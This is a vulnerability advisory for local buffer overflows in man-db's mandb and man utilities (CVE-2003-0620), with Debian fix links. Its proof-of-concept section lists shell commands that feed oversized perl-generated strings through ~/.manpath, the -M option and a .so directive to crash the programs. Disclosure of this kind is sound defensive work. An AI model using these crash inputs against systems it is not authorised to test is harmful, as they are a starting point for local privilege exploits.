Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
BID:8303
Info
Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
| Bugtraq ID: | 8303 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2003-0620 |
| Remote: | No |
| Local: | Yes |
| Published: | Jul 29 2003 12:00AM |
| Updated: | Jul 11 2009 10:56PM |
| Credit: | Discovery of this vulnerability has been credited to Vade 79 <[email protected]>. |
| Vulnerable: |
man man 2.4.1 man man 2.4 man man 2.3.20 man man 2.3.19 man man 2.3.19 man man 2.3.18 |
| Not Vulnerable: | |
Discussion
Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.
These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.
The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.
These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.
Exploit / POC
Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
The following proof of concept has been supplied:
# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault
(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault
# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault
# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault
# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault
The following proof of concept has been supplied:
# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault
(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault
# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault
# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault
# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault
Solution / Fix
Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
Solution:
It has been reported that fixes to address these issues are available via the following CVS server:
savannah.nongnu.org
The fixes provided in Debian advisory DSA 364-1 introduced another issue. Debian has released a revised advisory (DSA 364-3) with new fixes. Please see DSA 364-3 for details on obtaining and applying updated fixes.
man man 2.3.20
Solution:
It has been reported that fixes to address these issues are available via the following CVS server:
savannah.nongnu.org
The fixes provided in Debian advisory DSA 364-1 introduced another issue. Debian has released a revised advisory (DSA 364-3) with new fixes. Please see DSA 364-3 for details on obtaining and applying updated fixes.
man man 2.3.20
-
Debian man-db_2.3.20-18.woody.4_alpha.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_alpha.deb -
Debian man-db_2.3.20-18.woody.4_arm.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_arm.deb -
Debian man-db_2.3.20-18.woody.4_hppa.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_hppa.deb -
Debian man-db_2.3.20-18.woody.4_i386.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_i386.deb -
Debian man-db_2.3.20-18.woody.4_ia64.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_ia64.deb -
Debian man-db_2.3.20-18.woody.4_m68k.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_m68k.deb -
Debian man-db_2.3.20-18.woody.4_mips.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_mips.deb -
Debian man-db_2.3.20-18.woody.4_mipsel.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_mipsel.deb -
Debian man-db_2.3.20-18.woody.4_powerpc.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_powerpc.deb -
Debian man-db_2.3.20-18.woody.4_s390.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_s390.deb -
Debian man-db_2.3.20-18.woody.4_sparc.deb
Debian GNU/Linux 3.0 alias woody.
http://security.debian.org/pool/updates/main/m/man-db/man-db_2.3.20-18 .woody.4_sparc.deb
References
Multiple ManDB Utility Local Buffer Overflow Vulnerabilities
References:
References:
- man-db[] multiple(4) vulnerabilities. (Vade 79
) - Re: man-db[] multiple(4) vulnerabilities. (Colin Watson
)